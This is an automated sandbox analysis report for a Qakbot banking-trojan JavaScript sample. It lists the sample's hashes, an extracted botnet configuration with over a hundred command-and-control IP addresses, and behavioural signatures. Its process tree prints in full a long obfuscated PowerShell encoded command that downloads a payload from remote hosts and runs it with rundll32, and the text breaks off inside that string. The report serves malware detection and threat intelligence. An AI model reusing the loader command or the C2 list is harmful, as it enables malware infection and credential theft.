qakbot | abbb0da27ee094eafe8b4f26a48cc2622c5197a7dd6b12115be83ce655688e88

Analysis

max time kernel
150s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
20/06/2023, 17:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1N27ZFqW0quhb8.js
Size 464KB
Sample230620-vrzaysee2s
SHA256 abbb0da27ee094eafe8b4f26a48cc2622c5197a7dd6b12115be83ce655688e88
MD5 6679a7d280f6a067a8c04f6fbaf1d253
SHA1 c046c4ce4b7f9801dfb609a100af1c270960af79
SHA512 7eee3129033527da4817b1fec816d95d843cfc22f03cfa49691793fa461b675203c134a52b9641ef78e82a4e24e2519f18504875784e2e8ca17f7202abd8bb8c
SSDEEP 12288:7zr2t0uoE1y4V/gOAdwAdxbzJH84mkGFgSVXlJBa4bISo0sSwwOKXk7mF4OP/Weh:HTIAdwAdxdm7FHBJbIS32gmVeoX2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

qakbot obama269 1687245474 banker stealer trojan

Malware Config

Extracted

Family

qakbot

Version

404.1382

Botnet

obama269

Campaign

1687245474

91.160.70.68:32100
182.75.189.42:995
151.62.196.183:443
72.134.124.16:443
104.35.24.154:443
84.215.202.8:443
71.31.9.226:995
103.153.180.59:995
45.62.75.217:443
95.230.110.222:995
49.175.72.81:443
12.172.173.82:22
168.149.47.12:443
68.186.65.132:443
113.11.92.30:443
116.75.58.218:443
151.69.32.238:443
24.138.87.122:995
96.87.28.170:2222
147.147.30.126:2222
109.105.29.93:443
183.82.107.190:443
1.221.179.74:443
2.36.64.159:2078
12.172.173.82:995
201.171.159.196:443
192.252.166.24:80
176.44.123.169:995
2.82.8.80:443
81.150.169.174:2083
74.12.147.68:2222
86.248.228.57:2078
70.160.67.203:443
75.109.111.89:443
88.126.94.4:50000
70.28.50.223:3389
223.166.13.95:995
162.248.14.107:443
70.28.50.223:32100
84.35.26.14:995
183.87.163.165:443
92.186.69.229:2222
12.172.173.82:993
174.4.89.3:443
199.27.66.213:443
12.172.173.82:50001
81.229.117.95:2222
92.9.45.20:2222
12.172.173.82:20
91.169.12.198:32100
213.91.235.146:443
12.172.173.82:465
70.28.50.223:2078
75.98.154.19:443
136.232.179.26:443
67.87.119.216:2078
103.123.223.131:443
94.204.121.72:443
103.140.174.20:2222
95.45.50.93:2222
72.4.96.62:443
176.142.207.63:443
213.64.33.92:2222
47.34.30.133:443
70.28.50.223:2087
47.205.25.170:443
81.150.169.174:2078
81.150.169.174:2087
89.158.150.253:443
66.241.183.99:443
188.28.22.221:443
23.234.237.3:443
181.230.169.180:443
184.182.66.109:443
70.28.50.223:2083
175.156.65.126:2222
64.229.117.208:2222
77.126.99.230:443
87.252.106.235:995
12.172.173.82:32101
161.142.100.114:995
24.234.220.88:995
70.28.50.223:1194
24.234.80.122:995
81.150.169.174:2222
121.121.100.202:995
105.186.138.229:995
27.0.48.233:443
80.6.50.34:443
12.172.173.82:21
197.3.227.63:443
68.6.237.243:443
87.149.116.32:995
103.212.19.254:995
90.104.151.37:2222
178.175.187.254:443
86.170.169.53:443
119.82.71.94:2078
90.7.72.46:2222
217.165.255.105:443
116.88.76.28:443
125.99.69.177:443
73.155.10.79:443
103.141.50.46:995
142.181.206.222:2222
47.199.241.39:443
96.255.66.51:995
64.121.161.102:443
60.189.130.84:995
187.199.244.117:32103
110.159.115.244:443
72.205.104.134:443
12.172.173.82:2087
79.168.224.165:2222
81.157.120.247:443
124.122.47.219:443
201.227.113.134:2222
103.144.201.52:2078

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	448	powershell.exe
24	448	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
4764	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
448	powershell.exe
448	powershell.exe
2436	powershell.exe
2436	powershell.exe
4764	rundll32.exe
4764	rundll32.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe
3452	wermgr.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	448	powershell.exe
Token: SeDebugPrivilege	2436	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1644 wrote to memory of 448	1644	wscript.exe	84
PID 1644 wrote to memory of 448	1644	wscript.exe	84
PID 448 wrote to memory of 2436	448	powershell.exe	87
PID 448 wrote to memory of 2436	448	powershell.exe	87
PID 2436 wrote to memory of 1076	2436	powershell.exe	88
PID 2436 wrote to memory of 1076	2436	powershell.exe	88
PID 1076 wrote to memory of 3596	1076	cmd.exe	89
PID 1076 wrote to memory of 3596	1076	cmd.exe	89
PID 3596 wrote to memory of 4764	3596	rundll32.exe	90
PID 3596 wrote to memory of 4764	3596	rundll32.exe	90
PID 3596 wrote to memory of 4764	3596	rundll32.exe	90
PID 4764 wrote to memory of 3452	4764	rundll32.exe	91
PID 4764 wrote to memory of 3452	4764	rundll32.exe	91
PID 4764 wrote to memory of 3452	4764	rundll32.exe	91
PID 4764 wrote to memory of 3452	4764	rundll32.exe	91
PID 4764 wrote to memory of 3452	4764	rundll32.exe	91
PID 4764 wrote to memory of 3452	4764	rundll32.exe	91

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1N27ZFqW0quhb8.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABIAG8AcgBpAHoAbwBuAHMAQwBhAGQAYgBhAGkAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAGIAdwBCAHUAQQBIAE0AQQBaAFEAQgBqAEEASABJAEEAWgBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBHAEUAQQBjAGcAQgA1AEEARgBRAEEAZAB3AEIAcABBAEgASQBBAGIAQQBCAHAAQQBHADQAQQBaAHcAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAEQARgBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AUQBBADUAQQBDADQAQQBNAGcAQQAxAEEARABRAEEATABnAEEAeABBAEQAawBBAE4AZwBBAHUAQQBEAFEAQQBOAEEAQQA9AEQARgBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAVQBBAGIAZwBCAGoAQQBHADgAQQBiAFEAQgB3AEEARwBVAEEAYgBBAEIAcwBBAEcAawBBAGIAZwBCAG4AQQBDADQAQQBkAGcAQgBwAEEASABNAEEAYQBRAEIAdgBBAEcANABBACIAOwAkAG0AdQB0AGEAbgB0AEQAZQBzAG0AbwBzAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAFEAQQB5AEEAQwA0AEEATQBnAEEAeQBBAEQARQBBAEwAZwBBADEAQQBEAGsAQQBMAGcAQQAxAEEARABRAEEAbQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBOAGcAQQB1AEEARABFAEEATwBRAEEAdwBBAEMANABBAE0AUQBBADMAQQBEAEEAQQBMAGcAQQAzAEEARABBAEEAbQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBOAHcAQQB1AEEARABFAEEATwBBAEEAMwBBAEMANABBAE0AUQBBADIAQQBEAEUAQQBMAGcAQQB5AEEARABBAEEATQB3AEEAPQAiADsAJABQAGgAeQBsAGwAbwBwAHQAZQByAHkAeAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUARQBBAFkAZwBCAHoAQQBIAFEAQQBjAGcAQgBoAEEARwBNAEEAZABBAEIAbABBAEgATQBBAGQAQQBCAEIAQQBIAE0AQQBkAEEAQgBsAEEASABJAEEAYgB3AEIAcwBBAEcAVQBBAGMAQQBCAHAAQQBIAE0AQQBMAGcAQgB5AEEARwBVAEEAWQB3AEIAcABBAEgAQQBBAFoAUQBCAHoAQQBBAD0APQBZAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATwBBAEEAdQBBAEQARQBBAE0AQQBBAHcAQQBDADQAQQBNAGcAQQB6AEEARABJAEEATABnAEEAeABBAEQATQBBAE0AUQBBAD0AWQBTAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdwBBAEcARQBBAGIAQQBCAGgAQQBHADAAQQBZAFEAQQB1AEEARwB3AEEAZABBAEIAawBBAEcARQBBACIAOwAkAFEAdQBhAGsAaQBlAHMAdABQAHkAZQBsAG8AZwByAGEAbQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE8AUQBBAHUAQQBEAEkAQQBNAHcAQQAwAEEAQwA0AEEATQBnAEEAeABBAEQAWQBBAEwAZwBBADMAQQBEAEEAQQBMAHcAQgBTAEEASABJAEEATAB3AEIAWABBAEcAMABBAGMASABoAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcANABBAGIAdwBCAHUAQQBHAGsAQQBiAGcAQgBtAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAGIAZwBCAG4AQQBFAE0AQQBiAHcAQgBzAEEARwBrAEEAYgBnAEIAMQBBAEgATQBBAEwAZwBCAGoAQQBHADgAQQBkAFEAQgB5AEEASABNAEEAWgBRAEIAegBBAEMAOABBAFoAUQBCAGwAQQBFAGMAQQBXAFEAQQB2AEEARwBFAEEAYgBnAEIAMQBBAEEAPQA9AGMASABoAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAVQBBAGIAUQBCAGwAQQBIAEkAQQBhAHcAQgBoAEEASABNAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHYAQQBFAGMAQQBaAHcAQgBLAEEARABnAEEAVABBAEIANABBAEcANABBAGEAQQBCAGwAQQBGAFkAQQBMAGcAQgBrAEEARwBFAEEAZABBAEEAPQBjAEgAaABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBiAHcAQgBzAEEARwBrAEEAYQB3AEIAcABBAEcANABBAFkAUQBBAHUAQQBHAE0AQQBiAHcAQgB0AEEAQwA4AEEAVABBAEIAawBBAEcAawBBAGQAQQBCAHQAQQBDADQAQQBaAEEAQgBoAEEASABRAEEAYwBIAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABRAEEAWQBRAEIAegBBAEcAawBBAGMAZwBCAHkAQQBHAHMAQQBZAFEAQgB5AEEAQwA0AEEAWQB3AEIAdgBBAEcAMABBAEwAdwBCAGsAQQBHAFUAQQBSAGcAQgB3AEEARwBVAEEAVQBRAEEAMQBBAEgAUQBBAGQAQQBBAHUAQQBHAFEAQQBZAFEAQgAwAEEAQQA9AD0AYwBIAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBNAEEAYQBBAEIAcABBAEcANABBAFkAUQBCAHQAQQBHADgAQQBZAFEAQQB1AEEARwBNAEEAYgB3AEIAdABBAEMAOABBAE0AdwBCAFQAQQBHAHMAQQBiAGcAQgB4AEEARABBAEEAYgBBAEEAegBBAEYASQBBAFQAZwBCAGoAQQBFAE0AQQBMAGcAQgBrAEEARwBFAEEAZABBAEEAPQBjAEgAaABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBaAFEAQgAxAEEARwBNAEEAZABRAEIAeQBBAEcAawBBAGQAQQBCAGgAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEATAB3AEIAVQBBAEUAbwBBAGEAQQBBAHcAQQBEAFEAQQBPAEEAQgA2AEEARgBBAEEATQBnAEIATQBBAEYAVQBBAGQAQQBBAHUAQQBHAFEAQQBZAFEAQgAwAEEAQQA9AD0AYwBIAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBFAEEAYgBnAEIAcABBAEcARQBBAGQAQQBCAHkAQQBHAEUAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAdgBBAEUAMABBAFkAdwBBADIAQQBIAFEAQQBUAEEAQgA1AEEARQAwAEEAWgBnAEIASgBBAEcAcwBBAFoAUQBBAHUAQQBHAFEAQQBZAFEAQgAwAEEAQQA9AD0AIgA7ACQAQgB1AGwAYgB1AGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADUAQQBEAEEAQQBMAGcAQQB4AEEARABrAEEATwBBAEEAdQBBAEQASQBBAE0AdwBBADMAQQBDADQAQQBNAGcAQQB4AEEARABrAEEAIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAYQBtAGUAbgB0AGkAZgBvAHIAbQAgAGkAbgAgACQAUQB1AGEAawBpAGUAcwB0AFAAeQBlAGwAbwBnAHIAYQBtACAALQBzAHAAbABpAHQAIAAiAGMASABoACIAKQAgAHsAJABpAG4AZABpAG0AZQBuAHMAaQBiAGwAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMABBAEcAawBBAGIAZwBCAHMAQQBHAGsAQQBhAHcAQgBsAEEAQwA0AEEAWgBBAEIAbABBAEcANABBAGQAQQBCAGgAQQBHAHcAQQAiADsAdAByAHkAIAB7ACQAawBsAGUAcAB0AG8AbQBhAG4AaQBhAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATgBnAEEAMQBBAEMANABBAE4AZwBBADUAQQBDADQAQQBOAHcAQQAyAEEAQQA9AD0AUABvAEYARQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQB6AEEAQwA0AEEATQBRAEEAdwBBAEQAQQBBAEwAZwBBAHkAQQBEAEUAQQBPAEEAQQB1AEEARABFAEEATQB3AEEAdwBBAEEAPQA9AFAAbwBGAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYwBnAEIAcABBAEcATQBBAGIAdwBCAHUAQQBFADgAQQBkAFEAQgAwAEEASABJAEEAWQBRAEIAcABBAEgATQBBAGEAUQBCAHUAQQBHAGMAQQBMAGcAQgBqAEEARwBnAEEAUABvAEYARQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGsAQQBHAFUAQQBiAFEAQgB2AEEARwBRAEEAZABRAEIAcwBBAEcARQBBAGQAQQBCAGwAQQBDADQAQQBiAGcAQgBzAEEAQQA9AD0AIgA7ACQAdAByAGkAYgBiAGwAZQBaAG8AcgBvAGEAcwB0AHIAYQAgAD0AIAAkAGEAbQBlAG4AdABpAGYAbwByAG0AOwAkAGEAbABwAGgAYQBiAGUAdABzACAAPQAgACIAUwBRAEIAawBBAEcAdwBBAFoAUQBCAHQAQQBHAFUAQQBiAGcAQgBHAEEARwBFAEEAZABBAEIAcwBBAEcAawBBAGIAZwBCAG4AQQBIAE0AQQBMAGcAQgBrAEEARwB3AEEAYgBBAEEAPQAiADsAJABGAG8AeABpAHQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB0AHIAaQBiAGIAbABlAFoAbwByAG8AYQBzAHQAcgBhACkAKQA7ACQAbgBvAG4AcgB1AHMAdABhAGIAbABlAFQAbwByAG0AZQBuAHQAYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhAGwAcABoAGEAYgBlAHQAcwApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEYAbwB4AGkAdABlACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAbgBvAG4AcgB1AHMAdABhAGIAbABlAFQAbwByAG0AZQBuAHQAYQBiAGwAZQA7ACQAawBsAGUAcAB0AG8AbQBhAG4AaQBhAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATgBnAEEAMQBBAEMANABBAE4AZwBBADUAQQBDADQAQQBOAHcAQQAyAEEAQQA9AD0AUABvAEYARQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAFEAQQB6AEEAQwA0AEEATQBRAEEAdwBBAEQAQQBBAEwAZwBBAHkAQQBEAEUAQQBPAEEAQQB1AEEARABFAEEATQB3AEEAdwBBAEEAPQA9AFAAbwBGAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYwBnAEIAcABBAEcATQBBAGIAdwBCAHUAQQBFADgAQQBkAFEAQgAwAEEASABJAEEAWQBRAEIAcABBAEgATQBBAGEAUQBCAHUAQQBHAGMAQQBMAGcAQgBqAEEARwBnAEEAUABvAEYARQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGsAQQBHAFUAQQBiAFEAQgB2AEEARwBRAEEAZABRAEIAcwBBAEcARQBBAGQAQQBCAGwAQQBDADQAQQBiAGcAQgBzAEEAQQA9AD0AIgA7ACQASQBuAGQAaQBzAGMAZQByAHAAdABpAGIAbAB5ACAAPQAgACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAbgBvAG4AcgB1AHMAdABhAGIAbABlAFQAbwByAG0AZQBuAHQAYQBiAGwAZQApAC4ATABlAG4AZwB0AGgAOwAkAHAAaQBtAHAAbABlAGQASQBkAGUAbgB0AGkAZgB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEAegBBAEMANABBAE8AQQBBADEAQQBDADQAQQBOAGcAQQB5AEEAQwA0AEEATQBRAEEAeABBAEQAWQBBAGUAUABsAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE4AUQBBAHUAQQBEAEUAQQBOAFEAQQAwAEEAQwA0AEEATQBRAEEAdwBBAEQATQBBAEwAZwBBADMAQQBEAFEAQQBlAFAAbABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBaAFEAQgA0AEEARwBFAEEAWgBBAEIAcABBAEcAVQBBAGIAZwBCAGwAQQBDADQAQQBjAHcAQgAxAEEASABBAEEAYwBBAEIAcwBBAEcAawBBAFoAUQBCAHoAQQBBAD0APQAiADsAJABkAGUAdgBvAG4AaQBjAFMAdABlAHIAaQBsAGkAegBhAGIAaQBsAGkAdAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAGQAQQBCAG8AQQBHAFUAQQBjAGcAQgB0AEEASABrAEEATABnAEIAbQBBAEgASQBBAGIAQQBBAD0AdwBQAEYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABBAEEATgBnAEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBOAHcAQQA0AEEAQwA0AEEATwBBAEEAMwBBAEEAPQA9AHcAUABGAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AZwBBADUAQQBDADQAQQBNAFEAQQB6AEEARABnAEEATABnAEEAeABBAEQAUQBBAE4AQQBBAHUAQQBEAEUAQQBOAFEAQQAzAEEAQQA9AD0AIgA7AGkAZgAgACgAJABJAG4AZABpAHMAYwBlAHIAcAB0AGkAYgBsAHkAIAAtAGcAZQAgADcAOQA1ADcANAApAHsAJABGAGUAYgByAGkAZgBlAHIAbwB1AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcAawBBAGMAdwBCAGoAQQBHAFUAQQBjAGcAQgBoAEEASABRAEEAWgBRAEIAawBBAEMANABBAGEAQQBCAGgAQQBHADAAQQBZAGcAQgAxAEEASABJAEEAWgB3AEEAPQAiADsAJABrAGkAYgBpAHQAegBlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFEAQQBNAFEAQQB1AEEARABjAEEATgBnAEEAdQBBAEQAUQBBAE4AQQBBAHUAQQBEAEUAQQBOAEEAQQAxAEEAQQA9AD0ASwBhAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBJAEEARwBrAEEAYwBnAEIAegBBAEgAVQBBAGQAQQBCAGwAQQBFAGsAQQBiAFEAQgB3AEEARwBVAEEAZABBAEIAMQBBAEcAOABBAGQAUQBCAHoAQQBHADQAQQBaAFEAQgB6AEEASABNAEEATABnAEIANABBAEgAZwBBAGUAQQBBAD0ASwBhAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEAeQBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQB4AEEARABVAEEATQBnAEEAdQBBAEQAZwBBAE0AQQBBAD0ASwBhAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABVAEEATQBRAEEAdQBBAEQARQBBAE0AQQBBAHcAQQBDADQAQQBOAFEAQQA1AEEAQwA0AEEATwBBAEEANQBBAEEAPQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAHcAQQBHAGcAQQBjAGcAQgBsAEEARwA0AEEAYgB3AEIAbgBBAEgASQBBAFkAUQBCAHAAQQBHAGcAQQBRAFEAQgBqAEEARwBNAEEAYwBnAEIAbABBAEcAUQBBAGEAUQBCADAAQQBHAFUAQQBaAEEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEYASQBBAFkAUQBCAHoAQQBHAGsAQQBiAGcAQgBuAEEARgBRAEEAYwBnAEIAcABBAEcATQBBAGEAQQBCAHYAQQBHAGMAQQBlAFEAQgB1AEEARwBVAEEASQBnAEEANwBBAEMAUQBBAFEAdwBCAHkAQQBHAFUAQQBjAEEAQgBwAEEASABRAEEAZABRAEIAegBBAEYASQBBAFkAUQBCAG4AQQBHAGMAQQBaAFEAQgB5AEEASABrAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCAEQAQQBHADgAQQBjAEEAQgBoAEEASABJAEEAWgBRAEIAdQBBAEcARQBBAGMAZwBCADUAQQBDAEkAQQBPAHcAQgBqAEEARwAwAEEAWgBBAEEAZwBBAEMAOABBAFkAdwBBAGcAQQBIAEkAQQBkAFEAQgB1AEEARwBRAEEAYgBBAEIAcwBBAEQATQBBAE0AZwBBAGcAQQBFAE0AQQBPAGcAQgBjAEEARgBBAEEAYwBnAEIAdgBBAEcAYwBBAGMAZwBCAGgAQQBHADAAQQBSAEEAQgBoAEEASABRAEEAWQBRAEIAYwBBAEUAawBBAFoAQQBCAHMAQQBHAFUAQQBiAFEAQgBsAEEARwA0AEEAUgBnAEIAaABBAEgAUQBBAGIAQQBCAHAAQQBHADQAQQBaAHcAQgB6AEEAQwA0AEEAWgBBAEIAcwBBAEcAdwBBAEwAQQBCAHQAQQBHADgAQQBjAGcAQgBsAEEARABzAEEASgBBAEIAdgBBAEgAQQBBAGEAUQBCAHoAQQBIAFEAQQBhAEEAQgB2AEEARwBJAEEAYwBnAEIAaABBAEcANABBAFkAdwBCAG8AQQBHAGsAQQBZAFEAQgAwAEEARwBVAEEAUQBRAEIAdQBBAEgAUQBBAGEAQQBCAHkAQQBHADgAQQBjAEEAQgB2AEEARwBrAEEAWgBBAEEAZwBBAEQAMABBAEkAQQBBAGkAQQBHAGcAQQBaAFEAQgB0AEEARwBrAEEAWQBRAEIANgBBAEgAawBBAFoAdwBCAHYAQQBIAFUAQQBjAHcAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEARABzAEEASgBBAEIAVABBAEgAVQBBAFkAZwBCAHQAQQBHAFUAQQBjAGcAQgBuAEEARwBrAEEAYgBnAEIAbgBBAEUAYwBBAGMAZwBCAGwAQQBHAEUAQQBjAHcAQgBsAEEARwB3AEEAWgBRAEIAegBBAEgATQBBAEkAQQBBADkAQQBDAEEAQQBJAGcAQgBDAEEASABJAEEAYgB3AEIAagBBAEcAZwBBAGIAdwBBAGkAQQBEAHMAQQBKAEEAQgBUAEEARwA4AEEAZABRAEIAeQBBAEcAVQBBAGMAdwBCADAAQQBDAEEAQQBQAFEAQQBnAEEAQwBJAEEAYQBBAEIAaABBAEcAVQBBAGIAUQBCAHAAQQBHAE0AQQBRAHcAQgB2AEEARwA0AEEAZABBAEIAbABBAEcAMABBAGMAQQBCAHMAQQBHAEUAQQBkAEEAQgB2AEEASABJAEEASQBnAEEANwBBAEEAPQA9ACIAOwAkAFIAZQBkAGUAYwBvAHIAYQB0AGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgASQBBAFoAUQBCAGwAQQBIAEkAQQBaAFEAQgBqAEEASABRAEEAVQBBAEIAbABBAEgASQBBAGQAZwBCAHAAQQBHAEUAQQBZAGcAQgBwAEEARwB3AEEAYQBRAEIAMABBAEgAawBBAEwAZwBCAHoAQQBHAGcAQQBiAHcAQgB3AEEAQQA9AD0AVABIAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQARQBBAEwAZwBBAHgAQQBEAFUAQQBPAEEAQQB1AEEARABJAEEATQBBAEEAMABBAEMANABBAE4AQQBBADIAQQBBAD0APQBUAEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATwBBAEEANABBAEMANABBAE0AUQBBADMAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATgB3AEEAdQBBA